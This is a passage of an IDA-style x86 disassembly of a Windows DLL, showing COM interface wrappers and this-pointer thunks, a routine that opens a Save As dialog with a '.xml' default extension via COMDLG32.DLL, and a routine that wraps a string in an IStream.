		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F1BB
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F1C8
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+48h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F1BB:				; CODE XREF: sub_69B7F171+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F1C8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F1C8:				; CODE XREF: sub_69B7F171+28j
					; sub_69B7F171+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7F171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F1D0	proc near		; DATA XREF: .text:69B2A70Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F21A
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F227
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F21A:				; CODE XREF: sub_69B7F1D0+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F227
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F227:				; CODE XREF: sub_69B7F1D0+28j
					; sub_69B7F1D0+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7F1D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F22F	proc near		; DATA XREF: .text:69B2A710o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F276
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F283
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+50h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F276:				; CODE XREF: sub_69B7F22F+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F283
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F283:				; CODE XREF: sub_69B7F22F+28j
					; sub_69B7F22F+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7F22F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F28B	proc near		; DATA XREF: .text:69B2A714o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F2D2
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F2DF
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+54h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F2D2:				; CODE XREF: sub_69B7F28B+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F2DF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F2DF:				; CODE XREF: sub_69B7F28B+28j
					; sub_69B7F28B+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7F28B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F2E7	proc near		; DATA XREF: .text:69B2A718o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F331
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F33E
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+58h]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F331:				; CODE XREF: sub_69B7F2E7+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F33E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F33E:				; CODE XREF: sub_69B7F2E7+28j
					; sub_69B7F2E7+4Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B7F2E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F346	proc near		; DATA XREF: .text:69B2A71Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7F38D
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F39A
		add	esi, 0FFFFFFF4h
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+5Ch]
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B7F38D:				; CODE XREF: sub_69B7F346+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F39A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F39A:				; CODE XREF: sub_69B7F346+28j
					; sub_69B7F346+4Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7F346	endp

; ---------------------------------------------------------------------------


loc_69B7F3A2:				; DATA XREF: .text:off_69B2A740o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B7E18D
; ---------------------------------------------------------------------------


loc_69B7F3AC:				; DATA XREF: .text:69B2A744o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B7E1A4
; ---------------------------------------------------------------------------


loc_69B7F3B6:				; DATA XREF: .text:69B2A748o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B7E1B4
; ---------------------------------------------------------------------------


loc_69B7F3C0:				; DATA XREF: .text:off_69B2A720o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B7E18D
; ---------------------------------------------------------------------------


loc_69B7F3CA:				; DATA XREF: .text:69B2A724o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B7E1A4
; ---------------------------------------------------------------------------


loc_69B7F3D4:				; DATA XREF: .text:69B2A728o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B7E1B4
; ---------------------------------------------------------------------------


loc_69B7F3DE:				; DATA XREF: .text:69B2A72Co
		sub	dword ptr [esp+4], 8
		jmp	sub_69B7E3E4
; ---------------------------------------------------------------------------


loc_69B7F3E8:				; DATA XREF: .text:off_69B2A6C0o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B7E18D
; ---------------------------------------------------------------------------


loc_69B7F3F2:				; DATA XREF: .text:69B2A6C4o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B7E1A4
; ---------------------------------------------------------------------------


loc_69B7F3FC:				; DATA XREF: .text:69B2A6C8o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B7E1B4
; ---------------------------------------------------------------------------


loc_69B7F406:				; DATA XREF: .text:off_69B2A6B0o
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B7E18D
; ---------------------------------------------------------------------------


loc_69B7F410:				; DATA XREF: .text:69B2A6B4o
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B7E1A4
; ---------------------------------------------------------------------------


loc_69B7F41A:				; DATA XREF: .text:69B2A6B8o
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B7E1B4
; ---------------------------------------------------------------------------


loc_69B7F424:				; DATA XREF: .text:off_69B2A6A4o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B7E18D
; ---------------------------------------------------------------------------


loc_69B7F42E:				; DATA XREF: .text:69B2A6A8o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B7E1A4
; ---------------------------------------------------------------------------


loc_69B7F438:				; DATA XREF: .text:69B2A6ACo
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B7E1B4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F442	proc near		; DATA XREF: .text:69B2A6D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+14h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7F48B
		cmp	[ebp+var_4], 0
		jz	short loc_69B7F498
		push	esi
		lea	esi, [edi-0Ch]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	ebx, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		pop	esi


loc_69B7F48B:				; CODE XREF: sub_69B7F442+22j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B7F498
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7F498:				; CODE XREF: sub_69B7F442+28j
					; sub_69B7F442+4Ej
		and	[ebp+var_4], 0
		lea	ecx, [edi-0Ch]
		call	sub_69B7E6F9
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn	8
sub_69B7F442	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F4AC	proc near		; CODE XREF: sub_69B814F6+3Dp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, ecx
		inc	edi
		cmp	dword ptr [esi+24h], 0
		jz	short loc_69B7F4C7
		mov	eax, [esi+24h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+100h]
		mov	edi, eax


loc_69B7F4C7:				; CODE XREF: sub_69B7F4AC+Bj
		mov	ecx, esi
		call	sub_69B7E6D3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B7F4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7F4D3(LPCWSTR lpString1,	int cchWideChar)

sub_69B7F4D3	proc near		; CODE XREF: sub_69B7FF98+8Ep

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
lpStr1		= dword	ptr -8
lpMultiByteStr	= dword	ptr -4
lpString1	= dword	ptr  8
cchWideChar	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		push	ebx
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		inc	esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+lpMultiByteStr], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_14], ebx
		call	sub_69B7E8D9
		cmp	eax, ebx
		mov	[ebp+var_28], eax
		jnz	short loc_69B7F505
		mov	eax, esi
		jmp	loc_69B7F73F
; ---------------------------------------------------------------------------


loc_69B7F505:				; CODE XREF: sub_69B7F4D3+29j
		push	edi
		push	66h		; uID
		call	sub_69B2F6DD
		mov	edi, [eax+0Ch]
		push	[ebp+lpString1]	; pszPath
		mov	[ebp+var_18], edi
		call	ds:PathFindExtensionW	; PathFindExtensionW
		cmp	eax, ebx
		mov	esi, ds:lstrlenW
		mov	[ebp+lpStr1], eax
		jz	short loc_69B7F52E
		cmp	[eax], bx
		jnz	short loc_69B7F558


loc_69B7F52E:				; CODE XREF: sub_69B7F4D3+54j
		push	[ebp+lpString1]	; lpString
		mov	edi, offset a_xml ; ".xml"
		mov	[ebp+lpStr1], edi
		call	esi ; lstrlenW
		push	edi		; lpString
		mov	[ebp+var_24], eax
		call	esi ; lstrlenW
		mov	ecx, [ebp+var_24]
		add	ecx, eax
		cmp	ecx, [ebp+cchWideChar]
		jge	short loc_69B7F555
		push	edi		; lpString2
		push	[ebp+lpString1]	; lpString1
		call	ds:lstrcatW	; lstrcatW


loc_69B7F555:				; CODE XREF: sub_69B7F4D3+76j
		mov	edi, [ebp+var_18]


loc_69B7F558:				; CODE XREF: sub_69B7F4D3+59j
		push	[ebp+lpStr1]	; lpString
		call	esi ; lstrlenW
		cmp	[edi], bx
		mov	[ebp+var_24], eax
		mov	ecx, edi
		mov	esi, edi
		jz	short loc_69B7F5B2


loc_69B7F569:				; CODE XREF: sub_69B7F4D3+DDj
		cmp	word ptr [esi],	7Ch
		jnz	short loc_69B7F5AB
		cmp	[ebp+var_14], ebx
		jz	short loc_69B7F59D
		inc	[ebp+var_1C]
		cmp	eax, ebx
		jz	short loc_69B7F59D
		mov	edx, esi
		sub	edx, ecx
		sar	edx, 1
		cmp	eax, edx
		jge	short loc_69B7F59D
		push	eax		; nChar
		add	eax, eax
		mov	ecx, esi
		sub	ecx, eax
		push	ecx		; lpStr2
		push	[ebp+lpStr1]	; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jz	short loc_69B7F5B2
		mov	eax, [ebp+var_24]


loc_69B7F59D:				; CODE XREF: sub_69B7F4D3+9Fj
					; sub_69B7F4D3+A6j ...
		xor	ecx, ecx
		cmp	[ebp+var_14], ebx
		setz	cl
		mov	[ebp+var_14], ecx
		lea	ecx, [esi+2]


loc_69B7F5AB:				; CODE XREF: sub_69B7F4D3+9Aj
		inc	esi
		inc	esi
		cmp	[esi], bx
		jnz	short loc_69B7F569


loc_69B7F5B2:				; CODE XREF: sub_69B7F4D3+94j
					; sub_69B7F4D3+C5j
		xor	eax, eax
		cmp	dword_69B92954,	2
		setz	al
		cmp	eax, ebx
		mov	[ebp+lpStr1], eax
		jnz	short loc_69B7F5E3
		push	edi		; lpWideCharStr
		call	sub_69B39E45
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_69B7F73B
		jmp	short loc_69B7F638
; ---------------------------------------------------------------------------


loc_69B7F5D8:				; CODE XREF: sub_69B7F4D3+113j
		cmp	word ptr [edi],	7Ch
		jnz	short loc_69B7F5E1
		mov	[edi], bx


loc_69B7F5E1:				; CODE XREF: sub_69B7F4D3+109j
		inc	edi
		inc	edi


loc_69B7F5E3:				; CODE XREF: sub_69B7F4D3+F0j
		cmp	[edi], bx
		jnz	short loc_69B7F5D8
		mov	esi, [ebp+lpString1]


loc_69B7F5EB:				; CODE XREF: sub_69B7F4D3+1BFj
		push	13h
		xor	eax, eax
		cmp	[ebp+lpStr1], ebx
		pop	ecx
		lea	edi, [ebp+var_74]
		rep stosd
		mov	eax, [ebp+var_28]
		mov	[ebp+var_74], 4Ch
		mov	[ebp+var_70], eax
		mov	[ebp+var_40], 88806h
		jz	loc_69B7F697
		mov	eax, [ebp+var_18]
		mov	[ebp+var_68], eax
		mov	eax, [ebp+lpString1]
		mov	[ebp+var_58], eax
		mov	eax, [ebp+cchWideChar]
		mov	[ebp+var_38], (offset a_xml+2)
		mov	[ebp+var_54], eax
		jmp	loc_69B7F6B6
; ---------------------------------------------------------------------------


loc_69B7F630:				; CODE XREF: sub_69B7F4D3+167j
		cmp	byte ptr [eax],	7Ch
		jnz	short loc_69B7F637
		mov	[eax], bl


loc_69B7F637:				; CODE XREF: sub_69B7F4D3+160j
		inc	eax


loc_69B7F638:				; CODE XREF: sub_69B7F4D3+103j
		cmp	[eax], bl
		jnz	short loc_69B7F630
		push	offset a_xml	; ".xml"
		call	sub_69B39E45
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jz	loc_69B7F714
		mov	edi, ds:WideCharToMultiByte
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	ebx		; cchMultiByte
		push	ebx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpString1]	; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	edi ; WideCharToMultiByte
		mov	esi, eax
		mov	eax, 104h
		cmp	esi, eax
		jge	short loc_69B7F671
		mov	esi, eax


loc_69B7F671:				; CODE XREF: sub_69B7F4D3+19Aj
		lea	eax, [esi+1]
		push	eax
		call	sub_69B11E44
		cmp	eax, ebx
		mov	[ebp+lpMultiByteStr], eax
		jz	loc_69B7F714
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	esi		; cchMultiByte
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpString1]	; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	edi ; WideCharToMultiByte
		jmp	loc_69B7F5EB
; ---------------------------------------------------------------------------


loc_69B7F697:				; CODE XREF: sub_69B7F4D3+139j
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		inc	eax
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_68], eax
		mov	eax, [ebp+lpMultiByteStr]
		inc	esi
		mov	[ebp+var_38], ecx
		mov	[ebp+var_58], eax
		mov	[ebp+var_54], esi


loc_69B7F6B6:				; CODE XREF: sub_69B7F4D3+158j
		mov	eax, [ebp+var_1C]
		push	offset aComdlg32_dll ; "COMDLG32.DLL"
		mov	[ebp+var_5C], eax
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B7F714
		cmp	[ebp+lpStr1], ebx
		mov	eax, offset aGetsavefilenam ; "GetSaveFileNameW"
		jnz	short loc_69B7F6DC
		mov	eax, offset aGetsavefilen_0 ; "GetSaveFileNameA"


loc_69B7F6DC:				; CODE XREF: sub_69B7F4D3+202j
		push	eax		; lpProcName
		push	esi		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		cmp	eax, ebx
		jz	short loc_69B7F70D
		lea	ecx, [ebp+var_74]
		push	ecx
		call	eax ; aGetsavefilenam ;	"GetSaveFileNameW"
		test	eax, eax
		jz	short loc_69B7F70D
		cmp	[ebp+lpStr1], ebx
		jnz	short loc_69B7F70A
		push	[ebp+cchWideChar] ; cchWideChar
		push	[ebp+lpString1]	; lpWideCharStr
		push	0FFFFFFFFh	; cchMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar


loc_69B7F70A:				; CODE XREF: sub_69B7F4D3+222j
		mov	[ebp+var_20], ebx


loc_69B7F70D:				; CODE XREF: sub_69B7F4D3+213j
					; sub_69B7F4D3+21Dj
		push	esi		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary


loc_69B7F714:				; CODE XREF: sub_69B7F4D3+178j
					; sub_69B7F4D3+1ACj ...
		cmp	[ebp+var_C], ebx
		jz	short loc_69B7F721
		push	[ebp+var_C]
		call	sub_69B1B2B7


loc_69B7F721:				; CODE XREF: sub_69B7F4D3+244j
		cmp	[ebp+var_10], ebx
		jz	short loc_69B7F72E
		push	[ebp+var_10]
		call	sub_69B1B2B7


loc_69B7F72E:				; CODE XREF: sub_69B7F4D3+251j
		cmp	[ebp+lpMultiByteStr], ebx
		jz	short loc_69B7F73B
		push	[ebp+lpMultiByteStr]
		call	sub_69B1B2B7


loc_69B7F73B:				; CODE XREF: sub_69B7F4D3+FDj
					; sub_69B7F4D3+25Ej
		mov	eax, [ebp+var_20]
		pop	edi


loc_69B7F73F:				; CODE XREF: sub_69B7F4D3+2Dj
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B7F4D3	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR a_xml
a_xml:					; DATA XREF: sub_69B7F4D3+5Eo
					; sub_69B7F4D3+169o ...
		unicode	0, <.xml>,0
		align 4
aGetsavefilen_0	db 'GetSaveFileNameA',0 ; DATA XREF: sub_69B7F4D3+204o
		align 4
; char aGetsavefilenam[]
aGetsavefilenam	db 'GetSaveFileNameW',0 ; CODE XREF: sub_69B7F4D3+219p
					; DATA XREF: sub_69B7F4D3+1FDo
		align 4
; char aComdlg32_dll[]
aComdlg32_dll	db 'COMDLG32.DLL',0     ; DATA XREF: sub_69B7F4D3+1E6o

; =============== S U B	R O U T	I N E =======================================



sub_69B7F789	proc near		; CODE XREF: sub_69B803AC+1EDp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		push	[esp+0Ch+arg_0]
		mov	edi, ecx
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B7F7B4
		mov	edi, 8007000Eh
		jmp	short loc_69B7F7C5
; ---------------------------------------------------------------------------


loc_69B7F7B4:				; CODE XREF: sub_69B7F789+22j
		push	esi
		mov	ecx, edi
		call	sub_69B7E980
		push	esi		; BSTR
		mov	edi, eax
		call	SysFreeString


loc_69B7F7C5:				; CODE XREF: sub_69B7F789+29j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B7F789	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F7CC	proc near		; CODE XREF: sub_69B7FB0F+1FEp
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_69B2A780
		mov	dword ptr [eax+4], offset off_69B2A754
		mov	dword ptr [eax+8], 1
		mov	[eax+0Ch], ecx
		mov	[eax+10h], ecx
		mov	[eax+14h], ecx
		retn
sub_69B7F7CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F7EE	proc near		; CODE XREF: .text:69B7FA17j
					; DATA XREF: .text:off_69B2A780o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		xor	ebx, ebx
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		mov	[edx], ebx
		repe cmpsd
		jz	short loc_69B7F849
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B040
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B7F849
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], ebx
		jz	short loc_69B7F842
		cmp	[eax+10h], ebx
		jz	short loc_69B7F842
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset stru_69B2AF10
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B7F842
		lea	ecx, [eax+4]
		mov	[edx], ecx
		jmp	short loc_69B7F84E
; ---------------------------------------------------------------------------


loc_69B7F842:				; CODE XREF: sub_69B7F7EE+35j
					; sub_69B7F7EE+3Aj ...
		mov	eax, 80004002h
		jmp	short loc_69B7F856
; ---------------------------------------------------------------------------


loc_69B7F849:				; CODE XREF: sub_69B7F7EE+1Cj
					; sub_69B7F7EE+2Dj
		mov	eax, [ebp+arg_0]
		mov	[edx], eax


loc_69B7F84E:				; CODE XREF: sub_69B7F7EE+52j
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B7F856:				; CODE XREF: sub_69B7F7EE+59j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B7F7EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F85D	proc near		; CODE XREF: .text:69B7FA21j
					; DATA XREF: .text:69B2A784o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		retn	4
sub_69B7F85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7F86E(int, int, int, LPSTREAM *ppstm)

sub_69B7F86E	proc near		; DATA XREF: .text:69B2A78Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
ppstm		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+ppstm]
		and	dword ptr [ebx], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	4
		mov	eax, offset stru_69B2AF10
		xor	edx, edx
		mov	edx, [ebp+arg_8]
		pop	ecx
		mov	esi, eax
		repe cmpsd
		jnz	short loc_69B7F8B8
		push	4
		mov	esi, eax
		pop	ecx
		mov	edi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B7F8B8
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_69B7F918
		cmp	dword ptr [eax+14h], 0
		push	ebx
		push	edx
		jnz	short loc_69B7F8B1
		mov	eax, [eax+10h]


loc_69B7F8B1:				; CODE XREF: sub_69B7F86E+3Ej
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B7F91D
; ---------------------------------------------------------------------------


loc_69B7F8B8:				; CODE XREF: sub_69B7F86E+20j
					; sub_69B7F86E+2Dj
		mov	edi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	esi, offset nullsub_1
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B7F918
		push	4
		pop	ecx
		mov	edi, edx
		mov	esi, offset dword_69B2AFF0
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B7F918
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+0Ch]
		test	eax, eax
		jz	short loc_69B7F918
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	esi, [eax+eax+2]
		push	esi		; dwBytes
		push	40h		; uFlags
		call	ds:GlobalAlloc	; GlobalAlloc
		mov	ecx, esi
		mov	esi, [edi+0Ch]
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, eax
		rep movsd
		push	ebx		; ppstm
		mov	ecx, edx
		push	1		; fDeleteOnRelease
		and	ecx, 3
		push	eax		; hGlobal
		rep movsb
		call	ds:CreateStreamOnHGlobal
		jmp	short loc_69B7F91D
; ---------------------------------------------------------------------------


loc_69B7F918:				; CODE XREF: sub_69B7F86E+36j
					; sub_69B7F86E+59j ...
		mov	eax, 80004005h


loc_69B7F91D:				; CODE XREF: sub_69B7F86E+48j
					; sub_69B7F86E+A8j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B7F86E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F924	proc near		; DATA XREF: .text:69B2A760o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
